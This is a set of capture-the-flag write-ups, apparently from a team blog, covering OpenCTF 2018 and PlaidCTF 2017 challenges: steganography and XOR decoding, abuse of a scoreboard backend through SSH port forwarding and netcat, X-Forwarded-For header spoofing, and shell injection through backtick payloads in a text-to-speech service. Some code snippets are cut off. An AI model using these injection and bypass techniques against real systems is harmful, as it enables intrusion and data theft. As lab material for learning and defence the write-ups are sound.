OpenCTF 2018 - stegoxor Writeup

This challenge came with a single jpg file (renamed stego.jpg) that was an unremarkable picture of a computer screen. To this file I ran:

$ steghide –extract -sf stego.jpg

using an empty passphrase when prompted. This produced a files.tar archive, which I then extracted 2 files from:

HACKER.TXT: text file

qr.xor. data file

At first I wasn’t sure what to do with HACKER.TXT, when I opened it with a text editor, some characters could not be displayed. Was this a clue, a diversion, or by design?

The qr.xor file seemed like I should do something to it in order to get a QR code and the obvious choice was an xor operation. So I scripted up something to read in all the bytes of the file, xor them with the key and then write them all back out. Since I didn’t know what the key was, I looped thru 0x00 – 0xFF, however this did not produce any results. Next, I decided to xor the 2 files (qr.xor and HACKER.TXT) against each other, byte by byte (at least up to the last byte of the smallest file) and then write out the results to another file. The following is the python script that I used:

with open('qr.xor', "rb") as f1:
    with open('HACKER.TXT', "rb") as f2:
        bytes1 =
        xor = bytearray()
        for byte in bytes1:
            ord1 = ord(byte)
            ord2 = ord(
            xor.append(ord1 ^ ord2)
        fout = open('hackerqr', 'wb')

This produced a QR code in jpg format. I pulled up a QR reader on the web and read in my new file to decode. The decoding was a long string of base64. With this string I opened up a python terminal and ran the following in python:

import base64

s = '<insert base64>'
s_out = base64.b64decode(s)
f = open('new', "wb")

This produced another QR code in a png file format. So again I went back to the QR online code reader and read in this new.png file, which again gave me a base64 string. With this string I followed the same method as above and produced a new file with the output.

This new file (file3), was simply a text file, so I ‘cat’ted it to the screen. This produced another QR code, this one done as ascii art. Now this produced a problem, because you couldn’t exactly send ascii art to the online QR code readers. Hoping that this would be the final flag, we attempted to read the code on my screen with a cell phone app, but none that we tried could read it in. Instead, I took a screenshot of my screen, cropped it in gimp and then read this into the online QR code reader. However, this time it could not decode the image, even after trying several different ones. After further inspection, it turns out that the QR code was actually a micro QR code, which is much less supported, but even those utilities that said it could read one, still could not. We tried another cell phone app that said it could read micro QR and we also tried making the background of the image white rather than grey, but nothing produced any results.

After hitting a dead end trying to scan in the image, we started looking for software that could decode it. I found one in particular that looked promising, called libQRCode. I downloaded their demo version for Linux (license costs $200) and ran their demo decoding program with our file. It successfully read it and decoded it, * out part of the results since this was only the free version. We were able to see half the flag but we were still missing 7 characters. After some unsuccessful attempts to see the full un-obfuscated string in memory with gdb, another team member downloaded the Windows demo version of their software. This version had a demo program that did not ask for a file to decode, it simply decoded sample images that were included. All we had to do was nuke one of the sample images and rename our image to that sample’s name, rerun the program and voila, we had the flag.

Posted on Aug. 20, 2018, 10:32 a.m. by banAnna

OpenCTF 2018 - Scoreboard Bug Bounty Writeup

Scoreboard Bug Bounty - 1337

  • DEFCON 26 @Open_CTF
  • 2018-08-11
  • Solved by Neg9 [craSH, tecknicaltom, reidb]

Scoreboard Server:

The Scoreboard server is running an SSH server, which is the primary method teams use to interact with it. Each team has a shell account, and the users' shell is set to be from the above source archive.

There were several issues with the scoreboard system configuration, code, and how the organizers released the code, which when combined, resulted in the ability of a team to score all possible challenges for themselves without leaving any trace of doing so, and by not using the intended method of scoring.

  • Issue 1: sshd is configured to allow port forwarding/dynamic proxying.
  • Issue 2: accepts connections without authentication, and it does not log connections made to it to syslog like does.
  • Issue 3: The included SQLite database (central.db) included all (SHA512) hashes of the flags. This hash value is what the backend takes in addition to team name and challenge ID to register a scoring event.

As such, you can directly connect to the backend and submit a known hash for a question to a team.

One could connect to the scoreboard as such to open a socket on the players local machine on port 41337 which is a tunnel to the backend service running on the scoreboard:

ssh -L41337:localhost:41337

And in another terminal, one could then connect to the service as follows:

nc localhost 41337

This would yield the service authentication string (lol) and wait to be written to:

lol goatse

At this point, the service expects a scoring event message in the following format:


For example - here is the string to submit to score question ID 15 (this scoreboard bug bounty challenge) for team neg9:


As we have all hashes in the database provided, we can script up scoring for all questions. Here is the database schema:

CREATE TABLE questions(challenge_name text, tags text, point_value integer, answer_hash text, question text, solved integer, open integer, qualification);
CREATE TABLE team_score(team_name text, challenge_name text, point_value integer, answer_hash text, time_solved text, first integer, PRIMARY KEY(team_name, challenge_name, point_value, answer_hash) ON CONFLICT IGNORE);

And for demonstration, here is the row for this challenge:

sqlite> select * from questions where challenge_name like '%bug%';
Scoreboard Bug Bounty|Kajer scoreboard|1337|40a2475624d82487a9ded98fc661fd9dde15e02973a5280a8b4b76fc81e41a123190604848fa1d23b181a17b3303e184588211b81bef71e58ef8e26b7f300eb6|Find an 0-day in our scoreboard. Source is here:

We expeditiously grabbed all of the hashes from the dump and put them in a file to work with.

The following nested for loop would submit all hashes for neg9 (we extracted just the hash values and placed them in hashes.txt):

for hash in $(cat hashes.txt); do for id in {1..100}; do echo "neg9,${id},${hash}" | nc localhost 41337; done ; done

We made a POC of this with the question ID 15, for the scoreboard bug bounty, and we were successfully awarded 1337 points. The organizers quickly disabled SSH port forwarding/tunneling at this point, and we were not able to score for the other flags in this manner. Good work :)

Posted on Aug. 15, 2018, 10:06 a.m. by craSH

OpenCTF 2018 - HeadOn Writeup

by Javantea

Aug 12, 2018

HeadOn is an easy forensics challenge.

HeadOn-ac8890852965d787f7591bc10add61bb01efb5eb contained blob which is a zip file.

file blob
blob: Zip archive data, made by v?[0x31e], extract using at least v2.0, last modified Sun Dec 12 05:18:44 2010, uncompressed size 10299, method=deflate
unzip -l blob
Archive:  blob
  Length      Date    Time    Name
---------  ---------- -----   ----
    10299  08-04-2018 11:25   flag.pdf
---------                     -------
    10299                     1 file
unzip -v blob
Archive:  blob
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
   10299  Defl:N     9575   7% 08-04-2018 11:25 bfeb2149  flag.pdf
--------          -------  ---                            -------
   10299             9575   7%                            1 file

unzip blob
Archive:  blob
file #1:  bad zipfile offset (local header sig):  0

I tried pulling the deflated data out by hand using Unproprietary, but no such luck. Then I looked at the file in a hex editor. It looks kinda like this:

hexdump -C blob |head
00000000  00 00 00 00 14 00 00 00  08 00 34 5b 04 4d 49 21  |..........4[.MI!|
00000010  eb bf 67 25 00 00 3b 28  00 00 08 00 1c 00 66 6c  |..g%..;(......fl|
00000020  61 67 2e 70 64 66 55 54  09 00 03 a3 ef 65 5b b0  |ag.pdfUT.....e[.|
00000030  ef 65 5b 75 78 0b 00 01  04 00 00 00 00 04 00 00  |.e[ux...........|
00000040  00 00 85 5a 75 58 54 5b  d7 bf 0a 06 83 34 32 34  |...ZuXT[.....424|
00000050  43 37 33 4c 30 8c 20 20  29 9d 82 94 e4 10 02 43  |C73L0.  )......C|
00000060  23 8d 84 80 80 a4 8a 74  4b 48 23 dd dd 21 2d 9d  |#......tKH#..!-.|
00000070  c2 48 49 89 f4 07 de fb  c6 f7 de f7 7b be f3 3c  |.HI.........{..<|
00000080  fb 9c bd 62 af b5 f6 5a  bf bd cf 1f 7b b3 aa 48  |...b...Z....{..H|
00000090  4a f3 f2 f3 21 00 ac ad  99 ad 75 ad 15 ad 29 00  |J...!.....u...).|

I noticed that the normal PK\x03\x04 header was missing, so I looked at infozip's documents and found that the first thing would be to try adding the first 4 bytes. That turned out to be the solution.


unzip ../bloba.
Archive:  ../bloba.
  inflating: flag.pdf
okular flag.pdf
pdftotext flag.pdf
cat flag.txt

The flag is visible in the pdf.

Posted on Aug. 14, 2018, 11:25 p.m. by Javantea

OpenCTF 2018 - Forbidden Folly 1 & 2 Writeup

Forbidden Folly 1 50 ---
Welcome to Hacker2, where uptime is a main prority:

Forbidden Folly 2 50 ---
It seems like out of towners are terrible at scavenger hunts:

These challenges from OpenCTF 2018 at Defcon 26 were simple web challenges that took us way more time to solve than it should have.

Attempting to visit the page linked to in the hint only resulted in a 403 Forbidden response. Eventually an organizer alluded to the server caring about the origin of the request. This led us down the incorrect path of attempting to make the request with an Origin HTTP header.

Eventually though, we figured out that requesting the resource with an X-Forwarded-For HTTP header was the key:

curl -v' -H 'X-Forwarded-For:'

This returned an HTML page for the "HackerTwo System Status" page, and at the bottom of the source is the flag:

<!-- flag(Th4t_WAS_To0_EASY} -->

For the second challenge in the series, we first attempted to add other HTTP request headers that we thought the hint might be alluding to with "out of towners" such as Accept-Language but nothing seemed to affect the response.

The "HackerTwo System Status" page contained the following text:

If at any point all systems stop responding you may want to check the system to verify everything is running properly. Tim placed a web terminal on the system for easy access, the location of that has been emailed to everyone who has access to this portal.

We thought this web terminal might be the key to finding the flag, so keeping the X-Forwarded-For header as before, we poked around a bit. Eventually after manually trying a few paths, we found /debug on the server returned a directory listing containing secret.txt, which contained the flag:

curl -v '' -H 'X-Forwarded-For:'
*   Trying
* Connected to ( port 80 (#0)
> GET /debug/secret.txt HTTP/1.1
> Host:
> X-Forwarded-For:
< HTTP/1.1 200 OK
< Date: Sat, 11 Aug 2018 23:00:38 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Last-Modified: Tue, 24 Jul 2018 06:38:04 GMT
< ETag: "ea-571b901137e84"
< Accept-Ranges: bytes
< Content-Length: 234
< Vary: Accept-Encoding
< Content-Type: text/plain

I've created an account for you here on the system. You can log into ssh with the user chad and the password FriendOfFolly^.
Please delete this message after you've read it.

PS: flag{Th3_nexT_0ne_iS_D1ff1cul7}


Posted on Aug. 14, 2018, 10:40 p.m. by tecknicaltom

PlaidCTF 2017 - Echo (web 200) Writeup

This challenge presents a webpage with the text "Tweets are 140 characters only!" and input boxes for four tweets. Submitting tweets gives you a page with wav files, one per tweet that contains a text to speech version of the tweet.

The source code for the web front-end was provided. Examining it, you see that the tweets are written to a file:

85      with open(my_path + "input" ,"w") as f:
86          f.write('\n'.join(tweets))

Also, a flag is expanded and written to a file. This creates a large file (65000b per character of the flag) that needs to be acquired completely to get the flag.

25 def process_flag (outfile):
26     with open(outfile,'w') as f:
27         for x in flag:
28             c = 0
29             towrite = ''
30             for i in range(65000 - 1):
31                 k = random.randint(0,127)
32                 c = c ^ k
33                 towrite += chr(k)
35             f.write(towrite + chr(c ^ ord(x)))
36     return

Both of these files are passed to a docker container:

10 docker_cmd = "docker run -m=100M --cpu-period=100000 --cpu-quota=40000 --network=none -v {path}:/share lumjjb/echo_container:latest python"

Finally, the dockerized process must generate the wav files, because they're then converted back in our python code:

11 convert_cmd = "ffmpeg -i {in_path} -codec:a libmp3lame -qscale:a 2 {out_path}"

43     for i in range(n):
44         st = os.stat(path + str(i+1) + ".wav")
45         if st.st_size < 5242880:
46    (convert_cmd.format(in_path=path + str(i+1) + ".wav",
47                                          out_path=target_path + str(i+1) + ".wav").split())

So, first step is to get the that is executed in docker. I chose to extract it from the image without actually creating a container. I'm not very well-versed in Docker, so there may be an easier way to do this:

docker pull lumjjb/echo_container
docker save lumjjb/echo_container > echo.tar
tar xvf echo.tar
for l in */layer.tar ; do echo $l ; tar tvf $l ; done | less
tar xvf 8f*/layer.tar

That gives us:

 1 import sys
 2 from subprocess import call
 4 import signal
 5 import os
 6 def handler(signum, frame):
 7     os._exit(-1)
 9 signal.signal(signal.SIGALRM, handler)
10 signal.alarm(30)
13 INPUT_FILE="/share/input"
14 OUTPUT_PATH="/share/out/"
16 def just_saying (fname):
17     with open(fname) as f:
18         lines = f.readlines()
19         i=0
20         for l in lines:
21             i += 1
23             if i == 5:
24                 break
26             l = l.strip()
28             # Do TTS into mp3 file into output path
29             call(["sh","-c",
30                 "espeak " + " -w " + OUTPUT_PATH + str(i) + ".wav \"" + l + "\""])

A quick glance at that shows that it's vulnerable to shell injection in the call to espeak. Submitting a tweet with of `pwd` (using backticks) returns an audio of "slash", confirming.

Since the audio is converted by ffmpeg, we can't just cat the flag file into the output wav files. Instead, I chose to reconstruct the flag within the docker image. After confirming that the docker environment had Perl available, I was off to do some golfing, eventually working up to:

`perl -e 'local$/;$a=<>;$f[$_/65000]^=ord(substr($a,$_,1))for(0..length($a)-1);print join"-",@f' share/flag`

This one-liner reconstructs the flag and prints the decimal ASCII values of each character. Manually transcribed from the audio, it gives:


which decodes to:


Posted on April 23, 2017, 6:31 p.m. by tecknicaltom